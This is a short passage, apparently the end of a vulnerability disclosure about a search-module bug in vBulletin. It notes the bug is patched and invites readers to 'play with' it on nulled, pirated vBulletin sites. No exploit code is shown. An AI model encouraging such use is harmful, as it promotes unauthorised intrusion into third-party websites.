Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
